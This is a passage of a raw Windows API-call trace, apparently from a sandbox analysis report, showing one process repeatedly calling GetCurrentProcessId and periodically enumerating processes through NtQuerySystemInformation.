0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.626] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.627] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.628] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.629] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0173.630] GetCurrentProcessId () returned 0x10c0 [0174.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1dcc0) returned 0x0 [0174.497] GetCurrentProcessId () returned 0x10c0 [0174.497] GetCurrentProcessId () returned 0x10c0 [0174.497] GetCurrentProcessId () returned 0x10c0 [0174.497] GetCurrentProcessId () returned 0x10c0 [0174.497] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.498] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.499] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.500] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0174.501] GetCurrentProcessId () returned 0x10c0 [0175.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1dd10) returned 0x0 [0176.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1dd10) returned 0x0 [0176.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1dd60) returned 0x0 [0177.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1dd10) returned 0x0 [0181.639] GetCurrentProcessId () returned 0x10c0 [0181.639] GetCurrentProcessId () returned 0x10c0 [0181.639] GetCurrentProcessId () returned 0x10c0 [0181.639] GetCurrentProcessId () returned 0x10c0 [0181.639] GetCurrentProcessId () returned 0x10c0 [0181.639] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.640] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.641] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.642] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0181.643] GetCurrentProcessId () returned 0x10c0 [0182.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1def0) returned 0x0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.509] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.510] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.511] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0183.512] GetCurrentProcessId () returned 0x10c0 [0184.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1df90) returned 0x0 [0184.169] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.170] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.171] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.172] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () 